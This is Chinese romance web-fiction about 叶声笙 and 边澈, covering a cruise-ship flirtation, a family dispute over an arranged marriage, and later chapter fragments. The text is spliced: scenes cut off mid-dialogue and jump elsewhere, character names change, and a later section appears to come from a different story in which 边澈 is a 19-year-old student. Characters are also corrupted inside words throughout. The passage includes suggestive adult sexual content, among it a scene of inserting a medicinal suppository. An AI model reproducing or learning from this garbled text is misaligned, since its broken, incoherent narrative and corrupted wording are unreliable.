叶声笙轻推开房门,厚重的门划过轨道,沉闷的声响如同火车般碾过。她深吸了口气,注意着不让自己失礼,连口吻都变得温柔,“边边你的礼服。” 边澈赴约之间并没有见过这件晚礼服,就连什么时候被人送了过来都不知晓,他母亲先斩后奏,等到游轮在海面渐行渐远,才嘱咐一定要将它亲自送给那位素未谋面的谈小姐,听得他头疼。 连照面都没打过的人,就要突兀地送礼服示好,不是可笑至极是什么。 他没打算真的送出去,更没有同那群人竞夺的心思,而那位众星捧月的小公主,自然也不会同他有所交集。 雾霾蓝的颜色很衬她,抹胸的款式,算不上暴露感,可她曲线太过傲人饱满,仿若呼之欲出,只看一眼,都叫人口干舌燥。鱼尾裙摆堪堪遮住脚踝,纤白匀称的藕臂龙同一字肩廓形相得益彰,只是—— 边澈掩去眼里一闪而逝的惊艳,轻咳一声,顿觉现在的情境竟比刚才还糟糕,让她换上这件晚礼服,简直就是自讨苦吃。 他拧紧眉梢,语气听不出喜怒,“你怎么不锁门?” 叶声笙见他眼神落点只停留在她脖颈往上的位置,大大方方地看他一眼,“换衣服花不了多少时间,锁门多此一举。” 她总是一再强调在他面前,将他区别对待的这份特殊性,仿佛真的将他当成了什么正人君子,边澈明知是陷阱,却还是轻易掉了进去,在她盈着笑意的眼尾里,压抑着疯狂生长的绮念。 几分钟前她还哭过,现在倒是一点也没受情绪影响。 只有他陷入其中。 这份游刃有余的鲜明落差,让边澈骨子里极力隐匿的强势显现,他欺身往前半步,高大的身形如山倾般将她笼罩,如此轻而易举,就像她的腰,不足一掌便能轻松握住。 “是么。”边澈从喉间溢出一丝轻嗤,饱满而锋利的喉结也因此滚动,显得很性感,他微俯下身,视线同她齐平,“叶小姐胆子真大,就这么相信一个陌生男人,不仅在他的车上陷入熟睡,还顺着他的邀请走进他的房间。” 边澈灼热的呼吸喷洒在叶声笙颈侧,裹挟着一点香槟的味道,很淡。不知道他酒量怎么样,叶声笙家里人年轻的时候在应酬场千杯不醉,叶声笙有过之而无不及,在家里存了整整三面墙的酒,没有人能喝倒她。 但她很少喝醉,只是享受酒精漫过身体带来的微醺感,会让她觉得很放松,忘记笙多不值得在意的事。 拿得起放得下,是她的优点,也是缺点。 叶声笙挑眉看向几乎将她圈在怀里的男人,为了等她落锁,他就这么候在门外,湿漉漉的衬衣压在他肌肉精悍的胸膛前,肯定很不好受。 大概是从未被人这么戏耍过,他周身萦绕着很浓烈的侵略意味,眼神充斥着攻击性,像是一头徘徊在黑暗边缘、未开化的野兽,随时能将她生吞活剥。 面对这样危险的男人,身体本能惊起一片战栗,骨头都跟着酥了。 叶声笙低垂着眸子,“边先生,你说什么,我听不懂。” “叶小姐这么聪明,怎么会不明白弦外之音。” “既然清楚,何必试探这么多次?”叶声笙微顿,兀自改了称呼,“我知道自己在做什么,我很清醒。” 真正该担心的人应该是他,毕竟,引狼入室这种事,他显然丝毫未觉。 不等边澈说话,她轻轻扭过身,“可以帮我拉一下拉链吗?礼服太紧了,我够不到。” 边澈不过是觉得她太天真,想吓吓她,他连碰到她的身体反应都很大,怎么会作茧自缚地禁锢她。只可惜,她就此摊牌,仿佛不知男人骨子里的恶劣究竟能到什么程度,竟然将脆弱细腻的脊背展露给他。 完全的,没有一丝犹豫。 那让他避讳收敛视线的透明细肩带,连同锁住饱满丰腴的枷锁,如云销雨霁般呈现在眼前。 边澈的呼吸汹涌而又漫长地一滞。 叶声笙偏头催促,狐狸眼里藏着狡黠,“很为难吗?” “澈哥。”她挽了下唇,故意换了称呼,沉默几息后,她低叹了口气,像是终于妥协,“那我只有让您的助理代劳了。” 身后的人没有说话,微微侧颔,粗粝温热的手掌严丝合缝地贴紧她细软的腰肢,强壮劲猛的肱二头肌发力,掐着她的腰,单手将她抱离了地面。 天旋地转间,滚烫沿着脊椎线一路往上移。 没了踩在地毯上的实感,叶声笙整个人都有些轻飘飘的,如坠云端,她回眸,撞入那双晦暗不明的深眸。 暗得让她心惊。 “现在你满意了,叶小姐。” 边澈听得头疼,起身走了出去。 叶声笙收到叶女士的邮件后,仔细读过,也找了律师团队探讨,字面意思很简单,要求她在一年内完成产业规划,完成现有资金翻十倍的目标。 这对于她来说,甚至算不上挑战,更不用那一场意味深长的对话,遑论对赌协议了。 思忖后一直想不通答案,叶声笙索性恢复了往日的社交,跟庄晗景过来玩,纯当放松,哪知她要赴宴的消息不胫而走,刚露面就被络绎不绝的人搭讪,连表情都维持得有些僵硬。 庄晗景看出她有心事,不想跟陌生人交流,神秘兮兮地拉着她往上层舱走。 两人一路畅通无阻,乘坐电梯来到最上层船舱时,庄晗景突然说肚子痛,一溜眼没了影。 说好的要在顶层一起喝红酒拍照,叶声笙很无语,一个人端着两个高脚杯不方便,只能找个房间先坐会。 在清晰的海浪起伏声中,叶声笙看到长廊深处走出来一道薄冷似月光般的身形,男人把玩着拇指上的一枚银宽戒,看似懒怠,又夹杂着几分清寂,百无聊赖似的。 边澈这个人的存在感很强,哪怕只是随意望过去一眼,就能让人想起同他仅有的几个瞬间。 海风席来,裹挟着一点冷潮的气息,让叶声笙蓦然想起那个雨夜被她遗忘的记忆。 她似乎……靠在他的肩侧,不经意间同他摩擦过体温。 叶声笙的心跳了一下。 她捏紧杯壁,往他的方向疾步走去,边澈的警惕大概是天生的,叶声笙还没靠近,他就冷冷地撩起眼皮扫过来,让人心脏倏地收紧,为他眼里冷恹的锋芒,也为这张凌厉英俊的皮囊。 边澈没料到在这也能碰到叶声笙,本该视若无睹地转身,但看到她那鬼鬼祟祟又狡黠的狐狸眼时,浑身像是被定住,竟生出几分好奇心,想看看她接下来还能搞出什么花样。 叶声笙就这么在他的凝视下,犹豫半秒后,抖着臂将红酒‘不小心’洒了他一身。 大概是觉得这样的意图未免太明显,红酒也‘意外’地染红了她精心挑选的礼服。 “……”敲开熟悉的别墅大门时,是一个陌生的中年阿姨开的门。 看见叶声笙的脸,对方迟疑了一下,才恍然大悟般问,“是声笙小姐吧?” 等她也迟疑着点了点头,对方立马热情的将她迎了进去。 “声笙小姐您好,我姓刘,您叫我刘姨就行了,是今天刚来的,太太出门前交代过,如果您回家的话,请您一定要等她回来。” 听完她的解释,叶声笙静静听完,又冲她礼貌点头,就上楼了。 只是当站在二楼,低头看到明明没什么事要做,却还在客厅显眼处忙碌的刘姨,她忍不住勾了勾唇角。 她刚回国那几天,叶家可以说是山穷水尽走投无路,别说司机和家务阿姨了,连做饭的阿姨都被辞退,空荡荡的房子一丁点声响都听不见,空气里全是愁云惨淡。 哦,甚至房子都已经抵押给了银行。 如果叶远声再拉不来投资,连这栋占了叶家大半资产份额的别墅,就会被银行收走法拍。 就在昨天,为了体现母爱,魏岚还亲自在厨房表演了一番“笨拙的为女儿准备爱心晚餐”。 这才过了一晚,新的家务阿姨就已经开始工作了。 她的尊严,她的未来,她的一整个人生,就这样被这对父母卖掉,重新换成了笙心自在的生活。 这样的牺牲,值得吗? 这个问题,叶声笙自己也找不到答案。 她只是沉默着去了属于自己的练舞室,平静的将早课加大了训练量。 穿上tutu裙,面对落地全身镜,重复着熟悉的舞蹈动作,只有汗水和芭蕾,是属于她的。 不断的旋转,让她纷乱的心绪找回了安宁。 完蛋,是不是演得太假了? 就在叶声笙思忖着该如何编造借口时,边澈晦暗不明的眼眸微眯,“所以,这也是巧合吗?叶小姐。” 爸爸都要把妈妈宠成什么样了,怎么还会有这种疑问? 静恒道长的手指穿过浮尘,蘸一点茶水在桌面上写了一个字“正”字。 阮晴岚凝着眉,盯着那个字看了一秒、两秒、三秒,最后化作一句疑问:“什么意思呢?” “既然能得叶小姐这么一个贴心的女儿,两位必然是正缘。” 叶声笙眼睛都亮了。 对呀,有子就是正缘! 与其在这纠结,不如把问题交给老天,要是她跟边澈能生出孩子来,那就是上天注定的夫妻。 而且就算将来两人分道扬镳,她有了继承人,不也是喜事一件? 第54章 当晚,叶声笙说要留宿京韵别墅,边澈不敢有异议,只能自觉地跟她报备行程。 「宝宝,我晚上跟我妈还有舅舅一家吃饭」 几秒钟,对面回:「谁问了」 边澈握着手机叹气,老婆还没原谅他。 “澈哥刚才去哪了?一声不响地把我一个人留在这儿。”叶声笙正把玩端详着桌上的步枪,德国研制的,火力比同类型的步枪猛上不少,被好些发烧友称为硬货。 手感重,后坐力也强,新手很少选择,哪怕它只是一把仿制枪。 她还以为边澈真准备就这么走了。 视线下移,边澈手里多了个小瓷罐,白釉青花,样式仿着明永乐那个时期做的,还挺雅致。 见叶声笙盯着药罐目不转睛地看,边澈顺手扔给她,她动作倒也灵巧,轻松接住,垂着眼睫琢磨。 “假的。”边澈说。 还愿意理她,至少证明他没有真的生气。瓷罐上还沾着他的余温,若有似无的中草药味飘逸而出。 叶声笙嗅了嗅,“这东西乍一看,是挺唬人的,烧窑的老师傅手艺不错,几乎能达到以假乱真的程度。” 将小物件在掌心中转了个圈,她漫不经心地说:“不过我见过真品,可不在外边。” 边澈想起在京北大学的雨夜,神情松泛稍笙,他没有过问有关她的太多细节,即便是在师资背景丰富的高校,她作为普通学生,也能接触到这么多资源吗?他不太确定。 “你在哪见过?”同样是女儿,极少有人像叶琼兰一样,赋予她实权,让她站在谈判桌上。 边澈蓦然停住脚步,转过身来,将那支遗落的箭羽从她手中抽走。 “这件晚礼服很衬你。” 大概是从来没有夸赞过任何异性,边澈眉心始终轻折着,不知道还以为他在沉声说什么斥责的话,以至于连宽慰都显得有些苍白别扭。 “还有,叶小姐,下次同人谈判前,建议你先搞清楚个中细节。庄先生想建的是赛车俱乐部,不是什么度假山庄。” 有了边澈首肯,转让手续办得很快,宴凛全程负责这件事,同庄缚青负责交接。叶声笙在边澈那披了马甲,不方便出面,倒是落了个清净。 让她意外的是,庄缚青那么顽固的人,竟然会悄无声息地妥协。 两人倒是意外的默契,庄缚青没有问她究竟用了什么方法让边澈改了主意,她也没有问庄缚青为什么要迁就她。 叶声笙这段时间联系了几位赛车手,准备签下来,作为俱乐部将来的常驻教练。 忙完这些后,她才想起该以感边边澈的名义,在他那刷一下存在感。 边澈在飞机上洗了澡,原本考究的西装换成了休闲风的套装,姿态松弛,整个人也因此而显出几分懒怠。 叶声笙摇头,问:“这是哪?” “坦桑尼亚。” 这里成片的绿荫和植物怎么也跟非洲搭不上边。 似是看出了她的疑惑,边澈沉声解释:“坦桑尼亚并不算缺水,鲁菲季河、潘加尼河、鲁伏河、瓦米河都流经此地,不过你脚下踩的每一寸草皮,都是数十位园丁精心养护的成果。” 在坦桑尼亚境内造这么一座庄园,饶是叶声笙都忍不住感慨,有病。 她挡住刺目的阳光,踱步往玻璃厅走去。 边澈提醒:“别乱跑。” 叶声笙起初并不在乎他的警告,直到同一对锐利的野兽瞳眸对视。它比照片里还要威风,毛发在光下泛出油滑的光泽,四肢肌群矫健有力,瞳孔呈现出烈金色,虎视眈眈地注视着这位踏足它领地的不速之客。 锋利的犬牙,仿佛只需要轻轻用力,便能穿破血肉,将她整个撕碎。 她顿时生出一种不寒而栗的危机感。 边澈眉心簇紧,用更为狠戾的目光警告隐匿在角落里的捷克狼犬。 叶声笙本能地往他身边靠。 狼犬终于不再向前,双方维持着对峙的姿态。 泛潮的掌心倏地被边澈握住,他的手掌温暖而干燥,像是冬日雾凇林里的一缕暖阳,为远行徒步至濒临极限的背包客带来生还的最后希望。叶声笙心跳如擂,不知那究竟是吊桥效应,还是大脑发出的危险鸣示。 边澈感受到了她指尖的颤抖,迟疑了半瞬,而后穿过指缝,同她十指紧扣,断绝任何抽离的可能。 她随手抛了个诱饵,没想着猎物能咬钩,哪知他自己撞了上来。这让她怎么办呢。 他这么好钓,还会主动咬上来,很难让她克制住顽劣的心思不去逗他。 “京城博物院。”叶声笙故意掀眸睨他,唇角弧度明显,“澈哥要是喜欢,下次我请客带你去看。” 她的表情太过灵动,像是冬日里斑斓缤纷的蝴蝶,有着不该出现在这个季节的明媚,边澈见惯了尔虞我诈、浮花浪蕊,此时难得受感染,神情温和不少,耐着性子拆穿她,“博物院门票免费。” “免费也不能随时进去,要提前预约,也笙在旺季抢不到票,还要准备好身份证。忙完这一通也挺费时间的。我说算我请客,也不过分。” 她的歪理实在太多,且每次都能自圆其说,边澈默了几息的功夫,叶声笙就已经拧开了瓷罐,自顾自地用指甲盖的背部勾了点乳白色的药膏,仔细地在指腹上涂抹。 上次见面,她还涂着色泽艳丽的颜色,这会跟转了性似的,只余干净规整的甲床,修剪成圆润的弧度。她的手生得很好看,指节纤细、瓷白,却并不是那种仿佛一碰即折的柔,依稀能看见皮下淡青色的血管。 “边边澈哥的药,很好用。”叶声笙说,“已经不怎么疼了。” 边澈声音依旧是冷淡的,“你不先问问我里面是什么,就拿来用——” 他该避嫌的,就如往常一样,只一眼便移开。此刻却将视线置于她的指尖,垂敛的眼睫遮住了情绪,也掩不住泄出来的幽冷,侵占欲极强。 被他扫视过的每一寸肌肤,都仿佛泛起细微的痒意。 叶声笙下意识舔了下唇,明明并不干燥,却让她无端觉得紧绷,她承认,男人对于女人而言也有很强的性吸引力,哪怕只是一个眼神,也足以让她生出更多妄念。 “咦,不是烫伤药的话。” “还能是什么?”快下午的时候,魏岚才回来。 换好衣服,拿好东澈,叶声笙缓缓下楼。 魏岚正坐在客厅里,一边挑剔刘姨干活不仔细,一边指挥着她将花瓶挪到指定的位置。 看见站在楼梯上的叶声笙,魏岚有一瞬间的不自在,移开视线后又很快收了回来。 “声笙回来了啊?” 她抚了抚上午刚做的发型,描抹的十分仔细的红唇颤了颤,朝叶声笙扯出一个有些夸张的笑容,“我还以为你晚点才会到家呢。” 叶声笙沉默着,没说话,一步一顿的往下走。 等她走到客厅,魏岚才看到她手里提着的行李箱,一张妆容精致的脸上立马出现慌乱的表情,快步走上来,伸手就要抢行李箱的推拉杆。 叶声笙侧身避开,面无表情的垂下眼看着她。 对上她平静的眼神,魏岚心里不好的预感越来越清晰,她再也顾不得豪门贵妇的风仪,质疑她的声音越来越大。 “你这是做什么?你又要离家出走?翅膀硬了是不是?不管你要去哪,我不允许!” 面对这个气急败坏的女人,叶声笙没说什么,只是从包里抽出那份协议,轻轻的放到旁边的餐桌上,想了想,最后还是决定维持原来的称呼。 “妈妈,恭喜你,你的愿望终于实现了。” 这句话让魏岚愣了一下。 等反应过来她什么意思的时候,怒火一下就烧了起来。 “你这个不孝女!” 她扬手想要给叶声笙一耳光,但看到旁边的那份协议,这一巴掌又不太敢打下去,尴尬的顿在空中。 好在眼角余光瞥见了毫无存在感的呆在角落、耳朵却支棱着一副吃瓜样的刘姨,那那口邪气总算是找到了发作的地方 “看什么看!滚回你的佣人房去!” 被她恶狠狠的瞪了一眼,刘姨只是讪笑着离开,却在转身的时候无语的撇了撇嘴,决定听同行的话,马上就跑路换个主家。 魏岚倒是不在意这些阿姨怎么编排自己,出了一口气的她像是突然找回了状态,委委屈屈的往旁边沙发一坐,就开始抹眼泪。 “声笙,妈妈知道你委屈,但是家里前段时间那个情况你又不是不知道,家里需要你的呀!” “养你这么多年,不说金尊玉贵,也是用了心的,难道就因为这么一件事,你就要记恨上爸爸妈妈吗?” “再说了,多少人费尽心思想要让二少爷多看一眼,二少爷都不屑一顾的,现在有机会跟着他,也是你的福气。” 越说越是理直气壮,说到最后,已然从苦口婆心的劝说变成了指责,“声笙,你不能这么没良心。” 在这一秒钟,巨大的荒缪感像无形的蛛网,层层叠叠将叶声笙包裹,她有一种快要窒息的错觉。 深吸一口气后,她终于露出见到魏岚后的第一个笑容,“叶太太,你不如看看那份并购协议?” “要填叶家这个窟窿,二少爷直接要花的,至少九位数,收拾烂摊子要付出的代价,更是天文数字。” “他花了那么多钱,我自然就属于他了。” “以后,是生是死,都是他说了算。” “和你,和叶家,再无瓜葛。” “你——!”魏岚徒劳的张了张嘴,巨大的恐慌却让她说不出更多难听话来。 她当然知道自家这次的麻烦很大。 毕竟为了维持资金链正常运转,叶远声已经拆东墙补澈墙忙了一年多了,两个人愁到焦头烂额,走投无路之下,还是把主意打到了女儿身上 在他们最初的设想里,甚至想把叶声笙安排给边家老爷子。 这一切困境,都在昨晚二少爷带走声笙后迎刃而解,连向来尖酸严苛的银行经理,都连夜打电话来,笑着让他们放宽心,不用愁资金的事。 尝到了甜头,魏岚自然不肯放这颗摇钱树走。 毕竟,这种事有一有二就有三,不是吗? 但她不敢直说自己的打算,只能重复的打感情牌,喃喃的叫着叶声笙的小名。 “声声,你不能就这么走了,你在外面留学这几年,妈妈真的很担心你” 叶声笙却不会再心软了。 她走到失魂落魄的女人面前,将早就拿在手里的银行卡放下,转身朝大门走去。 “卡里是留学这几年你们打的钱,我没动过,全都在这里了。” “另外,建议你们有机会去查一下,边家二少爷叫什么名字,” “又——究竟是谁。” 她佯装不明白,求知般望着他。 边澈:“比如,毒药,砒霜。” “又或者,一块带有辐射性石头磨成的粉。”边澈眼眸温淡,平和地叙述着听起来无尽荒唐的可能,这些都是他所亲身经历过的,“一切足以致命的,都有可能。” 叶声笙从他的话语中听出了一点警醒的意味,仿佛是在敲打她,他们不是同一个世界的人。 一个随时随地都需要提防谨慎,一个则随心所欲,不需要应对可能出现的危机。 “这还不简单。” 边澈挑眉看她。 叶声笙在他的注视下,攀缠上那双筋络分明的手,缠着指尖同他相触,指腹处的药膏沾上他滚烫的体温后,很快便化开,将他们彼此包裹、牵连。 这双手数十分钟前,曾利落地架起步枪,也在数天前,绷起道道青筋地拉开英国长弓,握过她的腰肢,也虚扶过她的手臂。 却独独没有,同她十指相扣。 换作别人,一定会反手压制扣住她,这场较量的钟声敲响,将以她的胜利而告终。但边澈不会,他只是用那双晦暗不明的眸子攥住她,什么都不做,就已叫她呼吸微乱。 她掩下眸中的遗憾,收回手。 边澈同她静静对望,乌黑的瞳孔里倒映着她漂亮到可以当作武器的脸,或笙比这里任何一把步枪的威力都要强。 从无败绩。 他只想到了这个词。 叶声笙拉开两人的距离,“我今天是来还晚礼服的,已经在干洗店护理过了,澈哥放心。或笙你已经不记得了,第一次来这的时候,遗落了一支箭。” “我收藏了很久,一直没找到合适的机会还给你。” 她每说一个字,边澈的脸色就越来越黑,直到她终于抛完所有的钩子,正欲抬步离开。 边澈簇然冷声,下颔微紧,“就这样?” 叶声笙的目光不受控落在他的喉结上,明明只不过是一块软骨,却会随着低醇磁哑的声音而轻轻滚动,很性感,也很欲。 她睁眼看着他,不明所以。 还能怎样,她想亲他,总不能现在不管不顾地吻上去。温水煮青蛙,需要足够的耐心。 不急于这一时。 可边澈似乎却不是这么想的。 空气的寂静与危险弥漫,让她心惊。 “你费尽心机接近我,就只能做到这个地步?” 一想到自己老婆还有不少这种照片流落在外,血液里就有一股心烦意乱的火。 边江缓缓开口:“我当初跟你说过,要是手术好了就会追声笙的话,你别放在心上。” 边澈安静地听着。 “她是一个很有生命力的女孩,热情坦率,真诚真实。我后面遇到Eva,她也给我这样的感觉。有的时候我在想,我到底是喜欢她们,还是喜欢她们身上的生命力……” 他说着说着又苦笑:“我有时候甚至分不清心动和病发的区别,直到我看见了你对声笙,我想我还没有真正地爱上过别人。” 辛甘棠平时不准边江喝酒还是有点道理的。 边澈最不善于处理这种情绪,这么一长串的Mans Talk之后,他手机嗡一声响。 宝宝:「回家」。 第55章 好的睡眠条件只需要—— 一副眼罩、两个耳塞,黑暗的环境以及一张没有边澈的床。 边澈被打入冷宫前,叶声笙留下一道诏书,任何一道数学题,跳过所有解题步骤,不管答案正确与否,她都只给零分。 所以,最近的黑眼圈以肉眼可见的速度消退。 三月二十八号,《洛神》发布定妆照。 边澈今天打比赛已经消耗了太多的体力,肚子还有点饿,如果不是叶声笙打电话让酒店送来了晚餐,他估计真的会直接晕倒在浴室里。 吃完饭,已经是九点多了,边澈躺在床上,肚子里一阵酸胀感。 像是还有东西在里面。 但他们的清理工作做得很好,所以只能是做的太久,身体还未从高强度的痉挛中缓过来。 他拆开叶声笙送她的表看了又看,最终才小心翼翼地戴在了手腕上。 这表是M国专卖店买的,官网发布价54万。 他平常从来不戴这些奢贵的饰品,但架不住叶声笙爱送。 她喜欢把自己打扮得光鲜亮丽的。 边澈将脸埋进被子里,闻着独属于叶声笙的味道,心情好到了极点。 叶声笙出差的这两天,他自己一个人住在这公寓,别提有多寂寞了。 当初他们刚在一起的时候,听说他一直受同寝室人的欺负,叶声笙就提出要给他单独买套房子,好让他从学校的6人寝室里搬出来。 边澈没答应,目光却一直在叶声笙的卧室里打量来打量去。 最后,他如愿以偿地搬进了叶声笙的这套公寓,美滋滋跟她一起过上了同居生活。 “咔哒”一声,卧室的门开了,穿着睡衣的叶声笙抱着电脑进来,顺手将冰箱里切好的菠萝端到边澈面前:“吃点。” 边澈点头,从床上坐起,爬着过来拿叉子扎了一块,放进嘴里安安静静吃着。 叶声笙合上电脑,今天的工作总算是结束了。 她伸了个懒腰,上床将边澈抱进怀里,细细嗅着他脖颈处的清香。 边澈吃了两口就不太想吃了,肚子里的酸胀感太过明显,有点不太舒服。 于是他将叉子又插回去,转而变成乖巧倚在叶声笙怀里的姿势,把脸埋进姐姐的睡衣中,安静相拥。 他知道自己体型比较大,所以就没怎么乱动,怕压得叶声笙不舒服。 见他连最喜欢的菠萝也没吃多少,叶声笙摸了摸他的耳朵,低头问道:“现在感觉怎么样?” 边澈转过脸来回答:“好多了,就是肚子还有点酸。” “我给你揉揉。” 叶声笙说着,细长的手指就撩开他的衣服伸了进去,温热的手掌在腹肌上轻柔揉搓起来。 边澈舒服地闭上了眼,像只猫一样,就差发出呼噜呼噜的声响了。 揉着揉着,叶声笙忽然感慨说道:“还有一年,你就20岁了。” 边澈原本眯着眸子享受,听到这话,他猛地睁开眼睛,转过头,黑沉的眼珠子一错不错地盯着叶声笙:“姐姐,你是嫌弃我年纪大了?” 叶声笙先是顿了顿,随即一巴掌拍在他屁股上,无语道:“你这倒是会臆想,20岁我宝贝儿还来不及呢,净在那儿操心些有的没的。” 晚上激烈过后的地方还有些不适,边澈在被拍到那一瞬间就僵了一下,手下意识抓紧了被子。 察觉到他异样的叶声笙当即一惊,赶紧将人搂在怀里,并腾出来一只手帮他揉打痛的地方。 “抱歉宝贝儿,刚刚下手没注意,很疼是不是,我看看。” 边澈摇了摇头,抿着唇一言不发,反而将叶声笙搂得更紧。 见状,女子只好将人抱着,低头亲吻他的额头以示安抚。 “我说你20岁,不是嫌弃你年纪大,你这人生才过五分之一就开始恐惧年纪大了,以后可怎么整?” 边澈轻轻“嗯”了一声,声音沉沉的,听不出来什么情绪。 叶声笙接着道:“要不是我那个占着联姻名头的未婚夫一天到晚作妖,你现在就该进我叶家的大门了。” 20岁,正是结婚的年纪。 虽然距离法定结婚年龄还差2岁…… 说完,她还摸了摸边澈的脸蛋,叹息着说:“真是委屈你了,只能这样跟我在一起。” 虽说男性的法定结婚年龄是22岁,但那也只是领证年纪,只要时机合适,让边澈名正言顺地进她家大门也没人敢说什么。 边澈眨眨眼,颇为乖巧地出声说道:“没有委屈,这样就挺好的,只要能跟姐姐在一起就行,我不奢求那么多。” 看到这漂亮人儿这么懂事,叶声笙心生歉意,再次将那个不知名未婚夫骂了个狗血淋头。 “上次约他出来谈解除婚约的事,结果他说他在国外忙得很,暂时没有回国的打算。呵,真当在国外我就没办法了?要不是死活找不到他位置,我早就冲过去给他大卸八块了。” 边澈静静听着,只在听到后面那句“大卸八块”时,他眼睫不可控地抖了抖,随后便敛眸,沉默着将脸埋进了叶声笙的衣服里。 一提到这事,叶声笙就火气直冒。 他边家不过就是跟他爷爷那辈交好罢了,后面的项目合作边氏集团也没少参与。 拿了这么多好处,如今边家开始走下坡路了,却翻出来当年的娃娃亲想搞联姻吃个大的。 她叶声笙要是真让他们如意就是大傻子。 边家大少爷边宗明这么多年来久居国外潇洒度日,叶声笙即便没正式跟他见过面,也听说了那家伙是个扶不上墙的烂泥。 找她联姻,无非是想借叶家的名头翻身揽利。 若是后期边氏集团真出了什么问题,她叶家还要想法子帮忙擦屁股,不然被媒体一顿描绘,她叶家就成了见利忘义的小人。 这个烫手山芋必须要尽快解决掉。 想到这里,叶声笙眸色暗了暗,愈加用力搂紧了怀中的青年。 她翻了翻手机的短信记录,距离上次给边宗明发消息约见面已经过去了一个月,对面还是没有任何回复。 呵,故意装死呢。 边澈倒是从刚才开始就安静的出奇。 这孩子一向内敛沉静,不怎么闹腾,于是叶声笙就没过多在意。 她大拇指摩挲着他的柔软侧脸,回想起今天在体育场上见到的那一幕,叶声笙忽然敏锐问道:“你班里的同学是不是挤兑你?” 听到这话,边澈掀起眼皮,沉默了一会儿才回答说:“没有。” 这哪里像是没有的事? 叶声笙捏了捏他的腮帮子,低头问道:“跟我说实话。” 边澈不说话,试图从她腿上翻身下去,才刚转个身的功夫就被叶声笙捞了回来,死死禁锢在胳膊里。 “边澈,说话。” 被连名带姓地喊,青年身躯一僵,随即他怯怯抬眼,看了看叶声笙后眼神又落寞下去,装作淡漠矜持的模样说:“也不是挤兑,就是我今天只顾着自己,没把球及时传给他们。” “你当时要是传球过去,直接就被截胡了。最后好不容易赢了比赛,却怪你不传球给他们?” 叶声笙眸色愈发深沉,“真是一群不知好歹的东西。” 整个中医药学院,一大半的分都是边澈拿的,竟然还要反过来针对他。 边澈抓了抓她的衣角,小声道:“姐姐,也不能这么说,同学们平时对我还是很好的。只是这次的变故,跟上场前讨论好的战术不一样,所以大家对我有点误解而已。” 叶声笙可不觉得只是单纯的误解而已。 “你就是太心善了,所以都觉得你好欺负。就跟你之前的室友也是,五个人霸凌你一个。明明你兼职那么辛苦,还给他们带奶茶,晚上却把你锁在门外。” 想到这个,叶声笙就气不打一处来。 刚认识那会儿,边澈天天在学校门口的奶茶店做兼职,大热天的被客人刁难也不敢吭声,就为了赚那点生活费。 多好的一个孩子啊,有礼貌素质高,还总是处处为别人着想,就这却经常被人逮着压榨。 “姐姐别生气,”边澈握着叶声笙的手,颇为体贴地劝慰道:“我已经搬出来了,而且有你在,兼职也没去了。我现在过得特别好。” 漂亮男生看着她,发自内心地说:“你要是不喜欢,以后篮球队我不去了就是了。” 叶声笙皱了皱眉,她并没有要边澈放弃自己爱好的意思。 “寝室住的不开心,搬出来倒是可以,我养你多久都行。但篮球你不是一直都很喜欢的吗,怎么能说离开就离开?” 两人当初第一次见面,也正是因为打篮球的边澈吸引了她的注意力。 边澈抿了抿唇,黑漆漆的眼瞳与女子对视,好一会儿才说:“最近学习压力有点大,而且实验室那边跟进了几个项目,后面也就没什么时间再去打球了。” 原来是这样。 叶声笙点点头,“压力大了的话,就不去了,以学习为主。” 边澈微微一笑,眼尾上挑的弧度让他看起来颇像一只狐狸。 “姐姐,遇上你真好。” 叶声笙光是听着他的声音心情就好的不行,更别提这家伙如此乖顺,家务厨艺样样都是好的没话说。 “是不是要睡了?”叶声笙挑眉:“今天药还没塞吧?” 边澈很是不好意思地点了点头,叶声笙便坐起来,拉开床头柜的抽屉道:“我帮你。” 她拿出来一个黑色的木檀盒,扣开锁扣后,里面整整齐齐摆放了几十根的淡绿色如粉笔大小的玉状物体。 每根都用浅白色的透明纸张单独包装。 叶声笙挑出来一根,确认上面没有沾染什么污屑才转过来,对边澈道:“趴下,腰抬起来。” 边澈撩开裤子乖乖照做,脸贴着枕头,紧张到手指都蜷缩起来。 刚被疼爱过的地方还是有些敏感的,但叶声笙手法很是轻柔,推进去的时候,边澈只感觉到些微的异物感,冰凉凉的。 那东西彻底没入后,随即便被火热的温度紧紧包裹。 边澈耳根子微微发烫。 这是叶声笙从一个老中医那里特地调制的药柱,专门针对边澈这类人体质的调理,防止那处因时间和力度导致的异样。 此药柱经过多种质地温和的草药熬制而成,只需两个小时药性就会被肠道彻底吸收,不留痕迹。 只不过每天晚上睡前都要塞一根。 叶声笙出差不在的那几天,就是边澈自己一个人处理的,着实是有些费劲儿。 但这样被姐姐弄着,边澈再镇定的一个人,也架不住脸皮子薄,只能紧紧咬着唇,控制着不发出声音来。 “好了,”叶声笙扶着他的腰,替他穿好衣服,“前几天我不在家,有没有好好上药?” 边澈深呼吸了两秒,才低低出声道:“每天都上药了。” “真乖。” 叶声笙亲了亲他的脸,然后拽过被子盖在两人身上。 “睡觉吧。” 边澈“嗯”了一声,然后搂住了女子的腰,就那么贴着她闭上了眼。 入夜后,听到身边人均匀的呼吸声,边澈忽的睁开了眼。 他盯着叶声笙看了好一会儿,才小心翼翼地伸出手,摸到床头的手机解锁。 只不过,他输入的是另一串密码,随即手机便进入了一个隐私空间系统里。 跟他平常使用的完全一模一样的壁纸和主题。 边澈再次回头看了一眼已经熟睡的叶声笙,然后点开了短信。 列表里只躺了一个联系人的往来记录。 他给那人备注“亲亲姐姐”。 点进去,短信内容还停留在上个月“亲亲姐姐”发来的: 他唇边漾着一丝苦意,结婚之后再重新追求,这种经验百度都查不到。 “宝宝,我真的没有追求过女孩子,你给我点时间,我会把中间的步骤都补上……” 那语气倒不像是真心想要追求,倒像是学霸遇到难题,突然就燃发了解题的斗志。 叶声笙几乎把嫌弃写在脸上,竞赛场上叱咤风云的天之骄子,怎么就在感情上像只菜鸡。 她泼一大盆冷水,“反正你别太夸张就行。” 话落的时候,边澈的手臂突然收紧,眼睛一秒不离地盯着她的脸,“怎么算夸张?” 光线肆无忌惮地照进来,空气中有细小的浮尘,他的脸上镀着光,帅得让人恍神,心脏突然漏了一拍。 第56章 边妃的复宠之路艰难,包括但不仅限于—— 上贡奇珍异宝、上缴两万字检讨、半夜偷偷潜入主卧被人一脚踹下龙床、装胃病发作被赏赐无限续杯的热水…… 各种昏招频出。 叶声笙基本处于两耳不闻边澈事的状态。 她在冷落他的时间里,也忙了起来,之前跟齐云山学习一个多月,Stella Fantasy堆积了不少客单,最近全都捡起来了。 “你把礼服送给那小姑娘,回头怎么跟你妈交代?” 闻言,边澈随手将花枝置于桌面,心思根本没在这,答复的口吻也随意,“一件衣服而已,送给谁都没区别。” 